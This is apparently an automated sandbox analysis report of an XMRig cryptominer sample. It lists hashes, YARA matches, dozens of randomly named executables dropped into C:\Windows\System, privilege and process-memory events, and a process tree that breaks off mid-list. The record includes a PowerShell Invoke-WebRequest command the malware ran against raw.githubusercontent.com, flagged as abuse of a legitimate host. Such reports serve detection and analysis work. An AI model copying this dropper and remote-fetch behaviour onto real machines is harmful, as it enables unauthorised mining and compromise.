xmrig | 159c3f53b8e7a6a5da05a12bc61a8269401f651d63101b3f72e3c808d2b0f138

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
26-04-2024 15:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
Size

2.2MB
MD5

011e096d0169c5e3f167e1656f075c19
SHA1

f420ca0bfbfee82987a70bb6a87c85d385f36db3
SHA256

159c3f53b8e7a6a5da05a12bc61a8269401f651d63101b3f72e3c808d2b0f138
SHA512

513622da99ac3fbcc49c34471d1e2f3fa5e51be53a77467ff946cc927e8b61f66510fb677111c94bf6c949d91efc034e549d1fae446451fc35058844efabcf92
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTl//O:NABG

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 43 IoCs

miner

resource	yara_rule
behavioral2/memory/3132-59-0x00007FF6CAC40000-0x00007FF6CB032000-memory.dmp	xmrig
behavioral2/memory/3840-70-0x00007FF776650000-0x00007FF776A42000-memory.dmp	xmrig
behavioral2/memory/4556-104-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp	xmrig
behavioral2/memory/4520-111-0x00007FF6A6460000-0x00007FF6A6852000-memory.dmp	xmrig
behavioral2/memory/1276-109-0x00007FF6CAF70000-0x00007FF6CB362000-memory.dmp	xmrig
behavioral2/memory/4912-98-0x00007FF6A3010000-0x00007FF6A3402000-memory.dmp	xmrig
behavioral2/memory/1188-86-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp	xmrig
behavioral2/memory/408-75-0x00007FF741060000-0x00007FF741452000-memory.dmp	xmrig
behavioral2/memory/4612-72-0x00007FF6662A0000-0x00007FF666692000-memory.dmp	xmrig
behavioral2/memory/2872-67-0x00007FF694D00000-0x00007FF6950F2000-memory.dmp	xmrig
behavioral2/memory/1004-56-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp	xmrig
behavioral2/memory/4084-51-0x00007FF62C820000-0x00007FF62CC12000-memory.dmp	xmrig
behavioral2/memory/3808-46-0x00007FF6AA4F0000-0x00007FF6AA8E2000-memory.dmp	xmrig
behavioral2/memory/3452-122-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp	xmrig
behavioral2/memory/4380-125-0x00007FF7C7410000-0x00007FF7C7802000-memory.dmp	xmrig
behavioral2/memory/1672-151-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp	xmrig
behavioral2/memory/2112-185-0x00007FF6EE3E0000-0x00007FF6EE7D2000-memory.dmp	xmrig
behavioral2/memory/4556-181-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp	xmrig
behavioral2/memory/4444-160-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp	xmrig
behavioral2/memory/632-159-0x00007FF67C580000-0x00007FF67C972000-memory.dmp	xmrig
behavioral2/memory/4160-150-0x00007FF60B660000-0x00007FF60BA52000-memory.dmp	xmrig
behavioral2/memory/1004-1660-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp	xmrig
behavioral2/memory/3452-1713-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp	xmrig
behavioral2/memory/1672-1831-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp	xmrig
behavioral2/memory/1188-1837-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp	xmrig
behavioral2/memory/4920-1905-0x00007FF65D920000-0x00007FF65DD12000-memory.dmp	xmrig
behavioral2/memory/4076-1944-0x00007FF710A30000-0x00007FF710E22000-memory.dmp	xmrig
behavioral2/memory/4380-2093-0x00007FF7C7410000-0x00007FF7C7802000-memory.dmp	xmrig
behavioral2/memory/4520-1836-0x00007FF6A6460000-0x00007FF6A6852000-memory.dmp	xmrig
behavioral2/memory/4556-1818-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp	xmrig
behavioral2/memory/4160-2117-0x00007FF60B660000-0x00007FF60BA52000-memory.dmp	xmrig
behavioral2/memory/1276-1813-0x00007FF6CAF70000-0x00007FF6CB362000-memory.dmp	xmrig
behavioral2/memory/632-2133-0x00007FF67C580000-0x00007FF67C972000-memory.dmp	xmrig
behavioral2/memory/2112-2145-0x00007FF6EE3E0000-0x00007FF6EE7D2000-memory.dmp	xmrig
behavioral2/memory/4912-1811-0x00007FF6A3010000-0x00007FF6A3402000-memory.dmp	xmrig
behavioral2/memory/4444-1808-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp	xmrig
behavioral2/memory/408-1763-0x00007FF741060000-0x00007FF741452000-memory.dmp	xmrig
behavioral2/memory/4612-1773-0x00007FF6662A0000-0x00007FF666692000-memory.dmp	xmrig
behavioral2/memory/3132-1765-0x00007FF6CAC40000-0x00007FF6CB032000-memory.dmp	xmrig
behavioral2/memory/3840-1761-0x00007FF776650000-0x00007FF776A42000-memory.dmp	xmrig
behavioral2/memory/4084-1698-0x00007FF62C820000-0x00007FF62CC12000-memory.dmp	xmrig
behavioral2/memory/2872-1650-0x00007FF694D00000-0x00007FF6950F2000-memory.dmp	xmrig
behavioral2/memory/3808-1681-0x00007FF6AA4F0000-0x00007FF6AA8E2000-memory.dmp	xmrig

Blocklisted process makes network request 5 IoCs

flow	pid	Process
12	1612	powershell.exe
14	1612	powershell.exe
19	1612	powershell.exe
20	1612	powershell.exe
23	1612	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2872	DzdJzXx.exe
3808	DSvDIVJ.exe
4084	CkVQyjL.exe
1004	bRCnczr.exe
3132	isrphEO.exe
3840	eKJXDpR.exe
4612	fSfXIYV.exe
408	jwDFBTX.exe
1672	HWJeuZB.exe
1188	kpOfxTK.exe
4444	trdeNSw.exe
4912	btMVRMz.exe
4556	jnudPwI.exe
1276	JNLVCTQ.exe
4920	XPcZLAO.exe
4520	AjGUWjK.exe
4076	hNepoCb.exe
4380	SokhlWg.exe
4160	BwRoQiM.exe
2112	gZXoOGf.exe
632	hJXSega.exe
4340	YgLySwv.exe
4980	kNTdsus.exe
3244	ITicTKp.exe
1600	mHROrYe.exe
2788	nTMOgqG.exe
2780	JuQAytT.exe
4360	KgVrgjd.exe
4720	sFFezam.exe
3720	dcJwFxK.exe
1948	MGsYxiZ.exe
3420	yRuZnKj.exe
4632	oDkYMJS.exe
1232	mBCHqcJ.exe
4964	azETuvG.exe
3140	TvUWyEK.exe
3976	DFRgWGI.exe
3364	TZhzoOQ.exe
2336	MvEaVzb.exe
232	dJxTvPb.exe
4336	wpgzYXf.exe
4640	kJEIWTo.exe
4008	NrUgAvR.exe
4004	mpQbqSl.exe
4324	RoZgZbv.exe
4184	vYTccSQ.exe
1812	GWPUSVg.exe
4384	flMigBu.exe
3520	QQCQxiR.exe
3308	SpxHAsQ.exe
2552	iTaaLGY.exe
1844	FqXLpDX.exe
2744	puZYYiP.exe
3536	tGcCHYO.exe
956	QwuSNCn.exe
2836	CWodrtJ.exe
3160	RdEwgFI.exe
4144	OdpmmpW.exe
116	wxBdxxK.exe
3636	XXIKooi.exe
1688	fxBzbkt.exe
1968	zsPCrtc.exe
4836	WWpXFqs.exe
5132	tTwvSge.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3452-0-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp	upx
behavioral2/files/0x000f00000002325c-5.dat	upx
behavioral2/files/0x000800000002328b-10.dat	upx
behavioral2/files/0x000700000002328c-15.dat	upx
behavioral2/files/0x000700000002328d-28.dat	upx
behavioral2/files/0x0007000000023290-35.dat	upx
behavioral2/files/0x0008000000023289-42.dat	upx
behavioral2/files/0x000800000002328e-49.dat	upx
behavioral2/files/0x000800000002328f-53.dat	upx
behavioral2/memory/3132-59-0x00007FF6CAC40000-0x00007FF6CB032000-memory.dmp	upx
behavioral2/files/0x0007000000023291-61.dat	upx
behavioral2/files/0x0007000000023292-64.dat	upx
behavioral2/memory/3840-70-0x00007FF776650000-0x00007FF776A42000-memory.dmp	upx
behavioral2/files/0x0007000000023294-78.dat	upx
behavioral2/files/0x0007000000023295-82.dat	upx
behavioral2/files/0x0007000000023298-99.dat	upx
behavioral2/memory/4556-104-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp	upx
behavioral2/memory/4920-110-0x00007FF65D920000-0x00007FF65DD12000-memory.dmp	upx
behavioral2/memory/4076-112-0x00007FF710A30000-0x00007FF710E22000-memory.dmp	upx
behavioral2/files/0x0007000000023299-115.dat	upx
behavioral2/files/0x0007000000023297-113.dat	upx
behavioral2/memory/4520-111-0x00007FF6A6460000-0x00007FF6A6852000-memory.dmp	upx
behavioral2/memory/1276-109-0x00007FF6CAF70000-0x00007FF6CB362000-memory.dmp	upx
behavioral2/files/0x0007000000023296-100.dat	upx
behavioral2/memory/4912-98-0x00007FF6A3010000-0x00007FF6A3402000-memory.dmp	upx
behavioral2/memory/4444-93-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp	upx
behavioral2/memory/1188-86-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp	upx
behavioral2/files/0x0007000000023293-85.dat	upx
behavioral2/memory/1672-81-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp	upx
behavioral2/memory/408-75-0x00007FF741060000-0x00007FF741452000-memory.dmp	upx
behavioral2/memory/4612-72-0x00007FF6662A0000-0x00007FF666692000-memory.dmp	upx
behavioral2/memory/2872-67-0x00007FF694D00000-0x00007FF6950F2000-memory.dmp	upx
behavioral2/memory/1004-56-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp	upx
behavioral2/memory/4084-51-0x00007FF62C820000-0x00007FF62CC12000-memory.dmp	upx
behavioral2/memory/3808-46-0x00007FF6AA4F0000-0x00007FF6AA8E2000-memory.dmp	upx
behavioral2/files/0x000700000002329a-120.dat	upx
behavioral2/memory/3452-122-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp	upx
behavioral2/files/0x000700000002329c-127.dat	upx
behavioral2/memory/4380-125-0x00007FF7C7410000-0x00007FF7C7802000-memory.dmp	upx
behavioral2/files/0x000700000002329d-144.dat	upx
behavioral2/files/0x000700000002329e-145.dat	upx
behavioral2/memory/1672-151-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp	upx
behavioral2/files/0x00070000000232a0-158.dat	upx
behavioral2/files/0x00070000000232a2-175.dat	upx
behavioral2/memory/2112-185-0x00007FF6EE3E0000-0x00007FF6EE7D2000-memory.dmp	upx
behavioral2/files/0x00070000000232a4-191.dat	upx
behavioral2/files/0x00070000000232a5-193.dat	upx
behavioral2/files/0x00070000000232a3-188.dat	upx
behavioral2/memory/4556-181-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp	upx
behavioral2/files/0x00070000000232a1-169.dat	upx
behavioral2/files/0x000700000002329f-164.dat	upx
behavioral2/memory/4444-160-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp	upx
behavioral2/memory/632-159-0x00007FF67C580000-0x00007FF67C972000-memory.dmp	upx
behavioral2/memory/4160-150-0x00007FF60B660000-0x00007FF60BA52000-memory.dmp	upx
behavioral2/files/0x00070000000232a6-197.dat	upx
behavioral2/files/0x00070000000232a7-201.dat	upx
behavioral2/files/0x00070000000232a8-208.dat	upx
behavioral2/files/0x00070000000232aa-209.dat	upx
behavioral2/memory/1004-1660-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp	upx
behavioral2/memory/3452-1713-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp	upx
behavioral2/memory/1672-1831-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp	upx
behavioral2/memory/1188-1837-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp	upx
behavioral2/memory/4920-1905-0x00007FF65D920000-0x00007FF65DD12000-memory.dmp	upx
behavioral2/memory/4076-1944-0x00007FF710A30000-0x00007FF710E22000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\nPhxRfX.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\hgnVeSy.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\ZYNwlPW.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\LfsuZnA.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\XKuCyjv.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\DHgKQmK.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\oMegYLg.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\WyfLCLY.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\NrxPgdM.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\zvraHNS.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\yJmiBZM.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\grdHOhD.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\vxIXHBd.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\hhPAfAb.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\PuogYBP.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\RVTfcAw.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\bRCnczr.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\YKKJKhW.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\UhqVjVn.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\tlhTpqR.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\CJYSYYJ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\lGHCpxx.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\wyCQgTo.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\viUpDAa.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\eBBNPDm.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\yVpaSPj.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\FfTOTpQ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\TgRJLCB.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\LazcusR.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\jXbkdZd.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\GWPUSVg.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\rEtUBdW.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\khghbIG.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\GWUbVPa.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\gRpkptK.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\TWJpKkX.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\QntbuUf.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\OVFrzvs.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\XCpjeFN.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\zGGSbNZ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\kGOHwpJ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\pntpuux.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\jdVEcqe.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\NZpKFZn.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\duTXSJi.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\LYtNnmR.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\BRyUcUP.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\GfMzAqe.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\JQlCqoy.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\BZaojAR.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\xLLnlBJ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\VTjZDFZ.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\hUnADhB.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\cnrmWlw.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\NCyLHWP.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\SqHzxfI.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\LRudTTX.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\MZwwgGm.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\sQfUOye.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\gEHavnU.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\QxMMibf.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\zhMAlwL.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\Wdskvjs.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
File created	C:\Windows\System\CeBfROL.exe	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeLockMemoryPrivilege	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 1612	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	92
PID 3452 wrote to memory of 1612	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	92
PID 3452 wrote to memory of 2872	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	93
PID 3452 wrote to memory of 2872	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	93
PID 3452 wrote to memory of 3808	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	94
PID 3452 wrote to memory of 3808	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	94
PID 3452 wrote to memory of 4084	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	95
PID 3452 wrote to memory of 4084	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	95
PID 3452 wrote to memory of 1004	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	96
PID 3452 wrote to memory of 1004	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	96
PID 3452 wrote to memory of 3132	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	97
PID 3452 wrote to memory of 3132	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	97
PID 3452 wrote to memory of 3840	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	98
PID 3452 wrote to memory of 3840	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	98
PID 3452 wrote to memory of 4612	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	99
PID 3452 wrote to memory of 4612	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	99
PID 3452 wrote to memory of 408	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	100
PID 3452 wrote to memory of 408	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	100
PID 3452 wrote to memory of 1672	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	101
PID 3452 wrote to memory of 1672	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	101
PID 3452 wrote to memory of 1188	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	102
PID 3452 wrote to memory of 1188	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	102
PID 3452 wrote to memory of 4444	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	103
PID 3452 wrote to memory of 4444	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	103
PID 3452 wrote to memory of 4912	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	104
PID 3452 wrote to memory of 4912	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	104
PID 3452 wrote to memory of 4556	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	105
PID 3452 wrote to memory of 4556	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	105
PID 3452 wrote to memory of 1276	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	106
PID 3452 wrote to memory of 1276	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	106
PID 3452 wrote to memory of 4920	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	107
PID 3452 wrote to memory of 4920	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	107
PID 3452 wrote to memory of 4520	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	108
PID 3452 wrote to memory of 4520	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	108
PID 3452 wrote to memory of 4076	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	109
PID 3452 wrote to memory of 4076	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	109
PID 3452 wrote to memory of 4380	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	110
PID 3452 wrote to memory of 4380	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	110
PID 3452 wrote to memory of 4160	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	111
PID 3452 wrote to memory of 4160	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	111
PID 3452 wrote to memory of 2112	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	112
PID 3452 wrote to memory of 2112	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	112
PID 3452 wrote to memory of 632	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	113
PID 3452 wrote to memory of 632	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	113
PID 3452 wrote to memory of 4340	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	114
PID 3452 wrote to memory of 4340	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	114
PID 3452 wrote to memory of 4980	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	115
PID 3452 wrote to memory of 4980	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	115
PID 3452 wrote to memory of 3244	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	116
PID 3452 wrote to memory of 3244	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	116
PID 3452 wrote to memory of 1600	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	117
PID 3452 wrote to memory of 1600	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	117
PID 3452 wrote to memory of 2788	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	118
PID 3452 wrote to memory of 2788	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	118
PID 3452 wrote to memory of 2780	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	119
PID 3452 wrote to memory of 2780	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	119
PID 3452 wrote to memory of 4360	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	120
PID 3452 wrote to memory of 4360	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	120
PID 3452 wrote to memory of 4720	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	121
PID 3452 wrote to memory of 4720	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	121
PID 3452 wrote to memory of 3720	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	122
PID 3452 wrote to memory of 3720	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	122
PID 3452 wrote to memory of 1948	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	123
PID 3452 wrote to memory of 1948	3452	011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe	123

C:\Users\Admin\AppData\Local\Temp\011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\011e096d0169c5e3f167e1656f075c19_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\System\DzdJzXx.exe
  C:\Windows\System\DzdJzXx.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\DSvDIVJ.exe
  C:\Windows\System\DSvDIVJ.exe
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Windows\System\CkVQyjL.exe
  C:\Windows\System\CkVQyjL.exe
  2⤵
  - Executes dropped EXE
  PID:4084
- C:\Windows\System\bRCnczr.exe
  C:\Windows\System\bRCnczr.exe
  2⤵
  - Executes dropped EXE
  PID:1004
- C:\Windows\System\isrphEO.exe
  C:\Windows\System\isrphEO.exe
  2⤵
  - Executes dropped EXE
  PID:3132
- C:\Windows\System\eKJXDpR.exe
  C:\Windows\System\eKJXDpR.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\fSfXIYV.exe
  C:\Windows\System\fSfXIYV.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\jwDFBTX.exe
  C:\Windows\System\jwDFBTX.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\HWJeuZB.exe
  C:\Windows\System\HWJeuZB.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\kpOfxTK.exe
  C:\Windows\System\kpOfxTK.exe
  2⤵
  - Executes dropped EXE
  PID:1188
- C:\Windows\System\trdeNSw.exe
  C:\Windows\System\trdeNSw.exe
  2⤵
  - Executes dropped EXE
  PID:4444
- C:\Windows\System\btMVRMz.exe
  C:\Windows\System\btMVRMz.exe
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\System\jnudPwI.exe
  C:\Windows\System\jnudPwI.exe
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Windows\System\JNLVCTQ.exe
  C:\Windows\System\JNLVCTQ.exe
  2⤵
  - Executes dropped EXE
  PID:1276
- C:\Windows\System\XPcZLAO.exe
  C:\Windows\System\XPcZLAO.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\AjGUWjK.exe
  C:\Windows\System\AjGUWjK.exe
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Windows\System\hNepoCb.exe
  C:\Windows\System\hNepoCb.exe
  2⤵
  - Executes dropped EXE
  PID:4076
- C:\Windows\System\SokhlWg.exe
  C:\Windows\System\SokhlWg.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\BwRoQiM.exe
